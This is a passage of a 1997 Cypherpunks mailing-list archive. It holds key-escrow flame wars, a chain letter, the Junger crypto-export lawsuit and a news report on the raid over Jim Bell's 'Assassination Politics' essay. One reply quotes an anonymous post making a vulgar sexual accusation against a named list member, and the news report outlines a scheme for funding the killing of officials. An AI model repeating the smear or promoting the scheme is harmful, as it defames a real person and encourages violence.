http://purple.reddesign.com/vam.html . It is rough, but so were the roads in Anguilla. R. Jason Cronk rjasonc at pobox.com ---------- The e$ lists are brought to you by: Intertrader Ltd - Commerce Solutions in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$? Help pay for it! See Or, for e$/e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From lucifer at dhp.com Tue Apr 1 21:15:11 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Tue, 1 Apr 1997 21:15:11 -0800 (PST) Subject: tiggers Message-ID: <199704020515.AAA13413@dhp.com> Before reading the rest of this message make a wish. __ _-==-=_,-. The wonderful things aboutTiggers /--`' \_@~@.--< Is Tiggers are wonderful things. `--'\ \ <___/. Their tops are made out of rubber, \ \\ " / Theirbottoms are made out ofsprings. >=\\_/`< They're bouncy, trouncy, ____ /= | \_/ Flouncy, pouncy, _' `\ _/=== \__/ Fun, fun, fun, fun, fun! `___/ //\./=/~\====\ But the best thing about Tiggers is \ // / | ===| I'm the only one! | ._/_,__|_ ==| __ \/ \\ \\`=-| / \\ | _ \\| /==|-\ `.__' `-____/ |--|==| \ \ ===\ |==|`-' _> \ ===\ /==/ /==\ | ===\__/--/ <=== \ / ====\ \\/ _`-- \/ === \/--' | \ ==== | -`------/`--' / \___-' *If you read this on a Sunday, wish for a really fun week *If you read this on a Monday, wish for money *If you read this on a Tuesday, wish for love *If you read this on a Wednesday, wish for success *If you read this on a Thursday, wish for anything you want *If you read this on a Friday, wish for a really hot date *If you read this on a Saturday, wish for an important phone call Send this to seven people (after you make a wish). Make sure it is mailed as soon as you read it or your wish won't come true. REMEMBER, make a WISH, send this letter (and hope it happens) From nadeshda at mexred.net.mx Tue Apr 1 21:29:27 1997 From: nadeshda at mexred.net.mx (nadeshda vargas stepanenko) Date: Tue, 1 Apr 1997 21:29:27 -0800 (PST) Subject: q.N Message-ID: <3341EDD0.99@mexred.net.mx> To whom it may concern: My name is Nadeshda Vargas Stepanenko, I`m a Law Student from Mexico City and I`m writing this letter because in one of my classes I was asigned to do a discertation on what can be done to control the Internet in relation to it`s content and use, to protect the public at large using the methods to protect your privacy. I have found a lot of information of these servidors, but the reason to write this e-mail is for asking some questions about the subject: 1) It would be convenient to legislate this methods? 2) You can use them, for example, in Mexico? 3) Do you think it would be necessary to create an International Association for solving the problems in the Internet? 4) What do you think about legislation of the Internet, and how the lawyers may resolve these situations? I would be very thankful if you send me only a briefly opinion about this questions, it is very important for me because it is not an easy job. From kent at songbird.com Tue Apr 1 23:24:45 1997 From: kent at songbird.com (Kent Crispin) Date: Tue, 1 Apr 1997 23:24:45 -0800 (PST) Subject: Sabotaging Big Brother Inside Corporate Complicity In-Reply-To: <199704012345.PAA23018@fat.doobie.com> Message-ID: <19970401232220.31194@bywater.songbird.com> On Tue, Apr 01, 1997 at 03:45:47PM -0800, "TruthMonger" wrote: [cliche-ridden political babble deleted] > No matter what lengths the government goes to to infringe > on basic human rights, there will always be individuals and > corporations fighting over who gets to profit from the actions, > all the while claiming, "We don't put them in the ovens, we > just turn on the gas." Oh, we're to the death camps, are we? I guess that counts as invoking Hitler. > Do corporations have more rights than the citizens? > That depends entirely on the citizens. > > TruthMonger > "We have met the enemy, and he is Kent." Actually, you don't have a clue what I think, what my motives are, or what I favor. Awareness of reality is the first requirement for sanity. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From kent at songbird.com Wed Apr 2 00:10:51 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 2 Apr 1997 00:10:51 -0800 (PST) Subject: Analysis of proposed UK ban on use of non-escrowed crypto. In-Reply-To: <199704020022.QAA24113@fat.doobie.com> Message-ID: <19970402000825.61388@bywater.songbird.com> On Tue, Apr 01, 1997 at 04:22:01PM -0800, Huge Cajones Remailer wrote: > Kent Crispin dribbled syphlyrically: > > > Like it or not, businesses like -- no, *need* -- key escrow -- company > > secrets can't go down the drain because someone gets hit by a truck. > > An exact quote from some of your earlier posts. > Are you working from a cheat-sheet? > Is someone _telling_ you what to say? > Are they holding your kids hostage and _making_ you say this? > Is it time for Big Brother to hire some fresh writers? Not my best prose, for sure. But it is a reflection of sentiments I have seen expressed by people in business. I'm not working from a cheat sheet. No one is telling me what to say. Just like you, I am too totally inconsequential to make it worth anyone's time to try to make me say anything. I am not in favor of GAK, either. When I talk about companies wanting key escrow I am speaking from observation, not ideology. It's sad that a mailing list that purports to be a bastion of free thought harbors so many closed minds -- people who don't have the faintest idea about my beliefs fall all over themselves jumping to conclusions, apparently because they have become so conditioned to certain buzzphrases that they no longer think. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From nobody at huge.cajones.com Wed Apr 2 05:43:32 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 2 Apr 1997 05:43:32 -0800 (PST) Subject: Sabotaging Big Brother... In-Reply-To: <19970401232220.31194@bywater.songbird.com> Message-ID: <199704021343.FAA10480@fat.doobie.com> At 11:22 PM 4/1/97 -0800, Kent wrote thoughtfully: |Oh, we're to the death camps, are we? I guess that counts as |invoking Hitler. Hitler can serve as an excellent example of the outcomes of the steps you advocate. >Actually, you don't have a clue what I think, >what my motives are, or what I favor. >Awareness of reality is the first requirement for sanity. What banal nonsense is this? "Awareness of reality is the first requirement for sanity." The awareness of the Gulag, the Deathcamps, Japanese internment, Joe McCarthy? These things are real! Not part of the political science theory-jargon you spew! These realities _happened_ and were all justified by their particular sponsors. TruthMonger ... Let's try this theory: "Extremism in the defense of Liberty is no vice. And... moderation in the pursuit of justice is no virtue." BG 1964 From real at freenet.edmonton.ab.ca Wed Apr 2 06:31:24 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Wed, 2 Apr 1997 06:31:24 -0800 (PST) Subject: [URGENT] Zero-knowledge commit In-Reply-To: <199704020203.VAA31255@dhp.com> Message-ID: I think Vulis needs each of us to send ten copies of this back to him. On Tue, 1 Apr 1997, lucifer Anonymous Remailer wrote: > Timmy May prefers to have sex with little kids because his own penis is > like that of a three-year-old. > > ! ! > - - > * * Timmy May > ( < ) > o > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From rah at shipwright.com Wed Apr 2 06:50:43 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 2 Apr 1997 06:50:43 -0800 (PST) Subject: Geodesic Warfare: The Mesh and the Net Message-ID: Anthony Templar took the text file I had of THE MESH AND THE NET Speculations on Armed Conflict in a Time of Free Silicon MARTIN C. LIBICKI McNair Paper 29 March 1994 INSTITUTE FOR NATIONAL STRATEGIC STUDIES NATIONAL DEFENSE UNIVERSITY Washington, D.C. bashed it quite nicely into HTML, and parked it at . Somebody put a pointer to the original site -- which I have since lost -- on cypherpunks a couple of years ago, and I downloaded the text version, then, thinking that I would have a copy of my own if it was ever taken off the net. Altavista was just getting started at the time, and, like a turn-of-the-century British dancehall character named Archie (the namesake for World War I antiaircraft fire), Altavista was busy looking up the dress of every website it could find, and telling everyone what it saw. :-). No telling when stuff would go away, especially after the webmasters' bosses found out about it. It dawns on me that both comic book and internet protocol Archies were aptly named, in hindsight... Anyway, thanks to Anthony for doing such a nice job on what looks like a 65-page paper. It's about 250k+ in size. Its e$ relevance, of course, is, what happens if there's a cash settled market for force, and these increasingly smaller, autonomous, networked weapons auction their services in that market? Also, the paper talks about how these weapons could be used to effectively defend very small pieces of ground, certainly at the level of your average suburban house. Personal warfare? The Swiss, the original Icelanders, and the pre-British Irish must be smiling somewhere. Lions and Tigers and Bears. Oh, my. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From toto at sk.sympatico.ca Wed Apr 2 10:26:30 1997 From: toto at sk.sympatico.ca (Toto) Date: Wed, 2 Apr 1997 10:26:30 -0800 (PST) Subject: LJL into key-escrow? (was Re: The Balloon is Going Up....criminalization of noncompliant crypto) In-Reply-To: <19970401122309.44634@bywater.songbird.com> Message-ID: <3342A4EF.5534@sk.sympatico.ca> Kent Crispin wrote: > On Wed, Apr 02, 1997 at 12:03:27AM +0100, Adam Back wrote: > > "Entrust" is a company Kent has been quoting to > > us in a long running thread on cpunks, as an example of how companies > > really want "key-escrow". > > Just so things are clear, the reasoning is as follows: > 1) Entrust provides a product that includes enterprise > key escrow. > 2) > 3) The point of my posting it was to illustrate > that industry perceives a market. > 4) Entrust is a product I happen to be familiar with. You go > to "security" trade shows and you see other companies as > well. Kent, You should try to refrain from embarassing yourself by referring to the above as "reasoning". I'm of a like mind with Bill Stewart and Dr. Robert's, or whoever, who appear to think that compromises on privacy and freedom lead to yellow stars and barbed-wire fences. Now, if you could just give us similar examples to illustrate how the burdgeoning market for Zyklon-B showed that corporations *really wanted* the Holocaust... Or how the Allied POW's in the Battan Death March *really wanted* to go for a walk in the country... -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From rah at shipwright.com Wed Apr 2 10:43:13 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 2 Apr 1997 10:43:13 -0800 (PST) Subject: Hettinga rants in Cleveland at 3PM on WERE Message-ID: Kevin Miller, a talk show host in Cleveland, is going to have me on his local radio show at 3PM EST today to talk about e$, geodesic markets/societies, strong crypto, digital bearer securities, and anything else I can dream up. :-). For those of you in Cleveland, the radio station is WERE, and I don't know whether it's AM or FM. Evidently, he also has a national radio show, with a simulcast (? could be a tape to realaudio thing, though) on the net. I'm going to be on *that*, also live, at 8PM tomorrow night. More details as I know them. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From nobody at huge.cajones.com Wed Apr 2 10:55:07 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 2 Apr 1997 10:55:07 -0800 (PST) Subject: Sabotaging Big Brother Inside Corporate Complicity Message-ID: <199704021855.KAA19208@fat.doobie.com> Kent Crispin wrote: > On Tue, Apr 01, 1997 at 03:45:47PM -0800, "TruthMonger" wrote: > > > No matter what lengths the government goes to to infringe > > on basic human rights, there will always be individuals and > > corporations fighting over who gets to profit from the actions, > > all the while claiming, "We don't put them in the ovens, we > > just turn on the gas." > > Oh, we're to the death camps, are we? I guess that counts as > invoking Hitler. ...or how Native Americans who died on the Trail of Tears *really wanted* to go for a walk in the country? > > TruthMonger > > "We have met the enemy, and he is Kent." > Actually, you don't have a clue what I think, what my motives > are, or what I favor. Awareness of reality is the first requirement > for sanity. The reality is, dropping the .gov sig-reference _doesn't_ count as 'devoking' Clinton. And given the muddled nature of your thinking on key escrow, I'm not sure whether either one of us has a clue as to what you think. As far as your motives go, that's a matter between you and the Cosmic Muffin. The road to Key Escrow is paved with good intentions. (All of the Chinese got used up building the railroads.) TruthMonger From toto at sk.sympatico.ca Wed Apr 2 12:30:08 1997 From: toto at sk.sympatico.ca (Toto) Date: Wed, 2 Apr 1997 12:30:08 -0800 (PST) Subject: Sabotaging Big Brother Inside Corporate Complicity In-Reply-To: <199704021718.JAA01051@crypt.hfinney.com> Message-ID: <3342BBDB.3830@sk.sympatico.ca> Hal Finney wrote: > There are two somewhat related technologies being discussed here, as Kent > lists: key escrow and multiple encryption. > > However, as Tim points out, really both approaches can be adapted to > a Big Brother situation. If the government can force you to escrow > your keys, it could equally well force you to encrypt to the FBI as an > additional recipient. Key escrow amounts to both and more. In escrowing your keys, you are doing so to the FBI, the CIA, the Department of Agriculture, Social Services, the janitor at the Key Escrow holding facility, etc. Should we put our faith in the 'good intentions' claimed by those promoting key escrow? Talk to the grandmothers whose cars were confiscated because their dear grandson left a roach in the ashtray, under authority of the laws that were supposed to thwart drug kingpins. Key escrow is needed so that grandmothers of the future, plugging the parking meters of strangers with eCa$h, cannot escape prosecution by using encryption. > I see > supporting multiple recipients in the way outlined above as being an > effort to *avoid* building "big brother inside". Otherwise key escrow > is what many employees are going to get. If other people don't see it > that way, I'd like to know. In lean econonomical times, employees tend to get whatever they are given...end of story. If the employees are to get something other than Big Brother type of control over their work-lives, then it is up to those such as the CypherPunks and others who value privacy to promote viable options for corporations to choose from in the security area. If the only security options that a corporate manager has is no control or total control, then there will be those who will be forced by circumstances to opt for the latter, regardless of whether they find it personally distasteful. Indeed, members of the Tim C. May Corporate Sabatoge Revolutionary Committee may well find that they can sabatoge the government's evil intentions without harming their employer's position, merely by making an effort to ensure that their company's product gives the undercover Human Rights agents that have infiltrated corporate management an option to choose a product that they can customize with a view toward maintaining both company security and employee privacy. Let's face it, the government will roll over anyone who is unarmed, and have Kent issue a press release suggesting that the citizens were crying out for tank-tread marks on their backs. The solution is to provide as many workable products/solutions as possible for those who feel a need for encryption, so that they may customize their use of it according to their own inclinations and level of conscience. The government always seems to have extra munitions on hand to give to would-be dictators, it is up to disorganizations such as the CypherPunks to make certain that the citizens have the opportunity to arm themselves, as well. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Wed Apr 2 12:31:15 1997 From: toto at sk.sympatico.ca (Toto) Date: Wed, 2 Apr 1997 12:31:15 -0800 (PST) Subject: Analysis of proposed UK ban on use of non-escrowed crypto In-Reply-To: <970402101906.20605156@hobbes.orl.mmc.com> Message-ID: <3342BDDE.5318@sk.sympatico.ca> A. Padgett Peterson P.E. Information Security wrote: > > Personally think these proposals are "fliers", things so bad that the > radicals will get hung up on elements the gov could really care less about. > Tricky part is to pick out what complies with the *real* agenda. Sounds like you got caught 'bending over' in the past, and learned from the experience. How about a law that requires all politicians to speak through an interpreter? Say, Howard Stern? (Only because Lenny Bruce is dead.) -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From kent at songbird.com Wed Apr 2 12:35:23 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 2 Apr 1997 12:35:23 -0800 (PST) Subject: LJL into key-escrow? (was Re: The Balloon is Going Up....criminalization of noncompliant crypto) In-Reply-To: <19970401122309.44634@bywater.songbird.com> Message-ID: <19970402123257.39010@bywater.songbird.com> On Wed, Apr 02, 1997 at 12:26:55PM -0600, Toto wrote: [...] > > Kent, > You should try to refrain from embarassing yourself by referring > to the above as "reasoning". Obviously, I embarass easily. > I'm of a like mind with Bill Stewart and Dr. Robert's, or whoever, > who appear to think that compromises on privacy and freedom lead to > yellow stars and barbed-wire fences. Do you work for a living? > Now, if you could just give us similar examples to illustrate > how the burdgeoning market for Zyklon-B showed that corporations > *really wanted* the Holocaust... Hitler again. You lose. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From kent at songbird.com Wed Apr 2 13:03:04 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 2 Apr 1997 13:03:04 -0800 (PST) Subject: Sabotaging Big Brother... In-Reply-To: <19970401232220.31194@bywater.songbird.com> Message-ID: <19970402130029.37644@bywater.songbird.com> On Wed, Apr 02, 1997 at 05:43:33AM -0800, Huge Cajones Remailer wrote: > At 11:22 PM 4/1/97 -0800, Kent wrote thoughtfully: > > |Oh, we're to the death camps, are we? I guess that counts as > |invoking Hitler. > > Hitler can serve as an excellent example of the outcomes > of the steps you advocate. Hitler again. Must be a rookie. > >Actually, you don't have a clue what I think, > >what my motives are, or what I favor. > >Awareness of reality is the first requirement for sanity. > > What banal nonsense is this? > "Awareness of reality is the first requirement > for sanity." > > The awareness of the Gulag, the Deathcamps, > Japanese internment, Joe McCarthy? No, I had in mind the reality of cold water, the wind, the ground you walk on. You know -- real reality. You lose touch with that, you are in bad shape, wouldn't you agree? Likewise, making wild assumptions about what people think or believe frequently leads to inappropriate behavior. > These things are real! Not part of the > political science theory-jargon you spew! ???? Political science ???? As far as I know, I haven't said a single thing about political science. > These realities _happened_ and were all justified > by their particular sponsors. Granted. And your point is? > Let's try this theory: > > "Extremism in the defense of Liberty is no vice. And... > moderation in the pursuit of justice is no virtue." The one I worry about is stupidity in pursuit of extremism. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From toto at sk.sympatico.ca Wed Apr 2 13:03:07 1997 From: toto at sk.sympatico.ca (Toto) Date: Wed, 2 Apr 1997 13:03:07 -0800 (PST) Subject: LJL into key-escrow? (was Re: The Balloon is Going Up....criminalization of noncompliant crypto) In-Reply-To: <19970401122309.44634@bywater.songbird.com> Message-ID: <3342C920.3233@sk.sympatico.ca> Kent Crispin, lacking valid arguments, asked: > > Do you work for a living? I'm an undercover liquor store owner. I use PGP ski-masks to retain my anonymity when picking up the night's receipts. (It's kind of a freelance 'cash escrow' type of concept.) -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From nadeshda at mexred.net.mx Wed Apr 2 13:30:04 1997 From: nadeshda at mexred.net.mx (nadeshda vargas stepanenko) Date: Wed, 2 Apr 1997 13:30:04 -0800 (PST) Subject: q.N2 Message-ID: <3342CF22.6181@mexred.net.mx> To whom it may concern: Thank you for answering my mail, it was very useful for me, but at the end you asked me why do I think legislation would be needed? I have several opinions: In one part I think that it is not necessary to legislate, because as you said you have to protect your privacy from the gobernent, I�m agree of that, but I have other situations: I�m going to give you some examples: 1) I heard about several cases about individuals who use the Internet to attract children who are then raped and murdered, kidnapped and sold on the black market, many of these pediophiles work out in open in complete anonimaty, due to the structure of the Internet and many service providers. 2) And what about the terroists who use the Internet to comunicate with each other, gather information and funding establish methods, investigate methods of terrorism (how to make a bomb in your house using abono and household chemicals. This is an area that should be strongly controlled, but the question is how do you do it without restricting the rights of the average citizen? From jya at pipeline.com Wed Apr 2 14:10:45 1997 From: jya at pipeline.com (John Young) Date: Wed, 2 Apr 1997 14:10:45 -0800 (PST) Subject: Junger v. Secretary of State Message-ID: <1.5.4.32.19970402220236.006d8514@pop.pipeline.com> We offer Peter Junger pleadings against the Secretary of State and the government's responses: "This action is brought by a law professor under the First Amendment challenging United States export laws that he claims infringe upon his rights to speak and publish encryption software and other encryption information." Several prominent cryptographers and NSA officials have provided declarations in connection with the suit. http://jya.com/pdj.htm From dlv at bwalk.dm.com Wed Apr 2 16:16:34 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 2 Apr 1997 16:16:34 -0800 (PST) Subject: Bot-generated insults In-Reply-To: <199704021914.LAA23393@sirius.infonex.com> Message-ID: <3342F720.7AB@bwalk.dm.com> Mixmaster wrote: > > Now, you too can act like a total asshole and send anonymous slams to mailing > lists and newsgroups making it impossible to killfile. Been there, done that. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From jim.burnes at ssds.com Wed Apr 2 16:51:57 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Wed, 2 Apr 1997 16:51:57 -0800 (PST) Subject: FC 97 and www.offshore.com.ai offline Message-ID: <199704030051.RAA09646@denver.ssds.com> Has anyone been able to reach www.offshore.com.ai for the last several weeks. I've been trying to follow up with some email to Vince about getting my fellow FC '97 attendees' email addresses, but to no avail. If anyone on the list was at the conference, or has such a list I would appreciate it. BTW: hi to lucky green, eric blossom, vince and everyone that made FC 97 a wild adventure. jim burnes jim.burnes at ssds.com Jim Burnes Engineer, Western Security, SSDS Inc jim.burnes at ssds.com ---- Sometimes it is said that man cannot be trusted with the government of himself. Can he, then, be trusted with the government of others? Or have we found angels in the forms of kings to govern him? Let history answer this question. -Thomas Jefferson, 1st Inaugural Addr From declan at well.com Wed Apr 2 16:59:31 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 2 Apr 1997 16:59:31 -0800 (PST) Subject: Junger vs. U.S. crypto-suit Message-ID: Thanks to JYA for putting these documents online; I wasn't able to convert 'em myself. -Declan ************ http://cgi.pathfinder.com/netly/editorial/0,1012,792,00.html The Netly News Network / Afterword Junger vs. U.S. By Declan McCullagh (declan at well.com) April 2, 1997 Peter Junger decided to do it differently when he filed a lawsuit against the Federal government seeking to lift export controls on encryption software. He could have mimicked the other two crypto-suits and asked the government to let him ship data-scrambling software overseas -- and sue when the request was denied. But Junger never sent that query to the Feds. "In my case I've never applied for permission. >From the beginning I'm raising the constitutional issues. So it's a cleaner case," says Junger, a 63-year old law professor at Case Western Reserve University. Junger hopes to win by stressing that any regulation requiring government approval of a publication -- a "prior restraint" -- is unconstitutional, even when applied to computer programs. "My position is that I don't have to apply for a license. It's unconstitutional for you to require me to apply for a license," he says. (The U.S. Supreme Court has repeatedly ruled that the First Amendment's "chief purpose" is "to prevent previous restraints upon publication.") Junger filed his lawsuit last spring. Now the documents are online at http://jya.com/pdj.htm; read on for some excerpts... ---------- Excerpted from Statement of issues, points, and authorities ISSUES Prof. Junger challenges those provisions of the ITAR, as written and as would be applied to his conduct, that require a license or some other government approval before disclosing cryptographic software or technical data. The following are principal standing and First Amendment issues that plaintiff respectfully suggests ought to be addressed at oral argument: Standing Issues I. Prof. Junger has alleged that he cannot disclose at least some cryptographic information (either cryptographic software or technical data) to foreign persons or place some of the information on the internet without a license. Does Prof. Junger have standing to challenge the regulations? Or must he first apply for a license? First Amendment Issues II. As a threshold matter, is source code and object code expression or so closely related to expression that is protected by the First Amendment? III. There is no dispute that certain cryptographic software and technical data is subject to licensing under ITAR. Do the licensing requirements amount to a system of unconstitutional prior restraints? IV. The government has asserted that export controls on cryptographic software and technical data are necessary to protect its ability to gather foreign intelligence. Do the regulations control a substantial amount of protected expression that is unrelated to the government's stated purpose? V. Notwithstanding that all statutes and regulations are imbued with some ambiguity, are these regulations sufficiently clear to persons of ordinary intelligence? ---------- Code that actually encrypts deserves First Amendment protection apart from its own expressive content. Code that actually encrypts can be used to keep other communication secret and confidential. To the extent that source code and object code have a function, that function is to protect the secrecy and confidentiality of other communication. For this reason alone, cryptographic computer code deserves First Amendment protection. As a means of protecting confidentiality and furthering other communication. cryptographic code is no different than the newsracks at issue in Lakewood or the ink and paper at issue in Minneapolis Star & Tribune Co. v. Comm. of Revenue, 460 U.S. 575 ( 1983). Any requirement that a person must first seek a license or other government approval before publishing or disclosing protected expression is a classic prior restraint. Near v. Minnesota, 283 U.S. 697 (1931). ### From tcmay at got.net Wed Apr 2 17:32:42 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 2 Apr 1997 17:32:42 -0800 (PST) Subject: Analysis of proposed UK ban on use of non-escrowed crypto. In-Reply-To: <199704020022.QAA24113@fat.doobie.com> Message-ID: At 12:08 AM -0800 4/2/97, Kent Crispin wrote: >I'm not working from a cheat sheet. No one is telling me what to say. >Just like you, I am too totally inconsequential to make it worth >anyone's time to try to make me say anything. > >I am not in favor of GAK, either. When I talk about companies wanting >key escrow I am speaking from observation, not ideology. It's sad >that a mailing list that purports to be a bastion of free thought >harbors so many closed minds -- people who don't have the faintest >idea about my beliefs fall all over themselves jumping to conclusions, >apparently because they have become so conditioned to certain >buzzphrases that they no longer think. I don't see a significant fraction of the commentors here making allegations that you are some kind of government agent. While you may have a "LLNL" address, and so may work for the Lab, I don't consider this significant, per se. However, many of us are more than just opposed to GAK: we are skeptical of claims that business wants something closely resembling GAK. Key recovery systems have many legitimate uses; this has been acknowledged by the thoughtful commentors here for several years, for as long as the debate has existed. (Before the Cypherpunks group was even formed, I did some consulting for a businees interested in setting up a form of offshore data storage--key recovery was an obvious part of the strategy.) However, key recovery need have no "hooks" by government into it. The attempt by the government to ensure secret access, without even so much as a search warrant, is revealing. This is what we oppose. Opposing a system which could easily turn into GAK is hardly a matter of "closed minds." Kent, you don't want folks labelling you. You should then avoid language like "fall all over themselves," "conditioned," "purports to be," and "jumping to conclusions." In fact, in that paragraph of yours above nearly every phrase was this sort of slam. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From IRSNWPR at net.insp.irs.gov Wed Apr 2 17:40:11 1997 From: IRSNWPR at net.insp.irs.gov (IRSNWPR at net.insp.irs.gov) Date: Wed, 2 Apr 1997 17:40:11 -0800 (PST) Subject: Something of interest... Message-ID: <199704012018.PAA00555@net.insp.irs.gov> The Oregonian, Wednesday, April 2, 1997 20 armed federal agents raid home in Vancouver - The occupant is investigated for an Internet essay he allegedly wrote on killing government officials By John Painter Jr. of The Oregonian staff VANCOUVER, Wash. - About 20 armed agents from at least three federal agencies in four states raided a Vancouver home Tuesday, apparently looking for evidence of a plot to kill government officials. Sources said James D. Bell, who reportedly lives with his elderly parents at the home at 7214 Corregidor Road, was the subject of an investigation involving an essay he allegedly wrote and circulated on the Internet. The essay promotes a way to win money by correctly predicting the time of death of selected government agents. The essay - "Assassination Politics" - has been the subject of both serious discussion and pointed derision in Internet forums. One critic described it as "nothing more than a plan to commit murder for political purposes." Agents, guns drawn, boiled from a dozen-vehicle caravan before it stopped rolling just after 9 a.m. and entered the McLoughlin Heights neighborhood home to search it. The FBI, Internal Revenue Service and Bureau of Alcohol, Tobacco, and Firearms raiders were accompanied by members of the Portland Police Bureau's bomb squad. Bell, described in a federal document as armed and dangerous, was seen chatting with agents outside the house after agents entered the home. The raid reportedly was planned by the IRS Inspection office in Walnut Creek, Calif., which does criminal investigations for the agency. Most of the agents at the scene drove cars bearing Oregon plates. Others had plates from Washington, California and Nevada. The Internet essay speculates on a complicated procedure to kill government agents who violate the "Non-Aggression Principle," which was not explained. The essay suggests creation of an organization that would manage a list of people who "had seriously violated the NAP, but who would not see justice in our courts due to the fact that their actions were done at the behest of the government." The essay mentions the federal agents involved in the Waco and Ruby Ridge actions as examples. Each name would have a dollar figure attached to it. That amount- received as contributions-would be awarded "for correctly `predicting' the person's death, presumably naming the exact date," the essay says. "Predictions" would go into a computer file, it says, then be encrypted. The death-date prediction then would be delivered to the organization by an untraceable method, such as putting it on a floppy computer disk in code and mailing it. In effect, the source said, when the pool got big enough someone would kill the targeted person and collect the pool money by telling beforehand when the target would die. Agents at the scene refused to comment on the probable cause for the search warrant, as did the IRS office in California and the U.S. attorney's office in Seattle. However, a source familiar with the investigation suggested that IRS agents believed they are among the potential targets. In March 1989, the house was raided as a suspected methamphetamine lab, but drug agents found only a chemical used in making the drug. James Bell was charged with manufacturing illicit drugs and possessing phenyl acetic acid with intent to manufacture methamphetamine. The felonies were later dismissed, and Bell was allowed to plead guilty to a misdemeanor and pay a $2,500 fine. From irsnwpr at net.insp.irs.gov Wed Apr 2 17:57:15 1997 From: irsnwpr at net.insp.irs.gov (IRS Inspection) Date: Wed, 2 Apr 1997 17:57:15 -0800 (PST) Subject: Something of interest... Message-ID: <199704012034.PAA00146@net.insp.irs.gov> The Oregonian, Wednesday, April 2, 1997 20 armed federal agents raid home in Vancouver - The occupant is investigated for an Internet essay he allegedly wrote on killing government officials By John Painter Jr. of The Oregonian staff VANCOUVER, Wash. - About 20 armed agents from at least three federal agencies in four states raided a Vancouver home Tuesday, apparently looking for evidence of a plot to kill government officials. Sources said James D. Bell, who reportedly lives with his elderly parents at the home at 7214 Corregidor Road, was the subject of an investigation involving an essay he allegedly wrote and circulated on the Internet. The essay promotes a way to win money by correctly predicting the time of death of selected government agents. The essay - "Assassination Politics" - has been the subject of both serious discussion and pointed derision in Internet forums. One critic described it as "nothing more than a plan to commit murder for political purposes." Agents, guns drawn, boiled from a dozen-vehicle caravan before it stopped rolling just after 9 a.m. and entered the McLoughlin Heights neighborhood home to search it. The FBI, Internal Revenue Service and Bureau of Alcohol, Tobacco, and Firearms raiders were accompanied by members of the Portland Police Bureau's bomb squad. Bell, described in a federal document as armed and dangerous, was seen 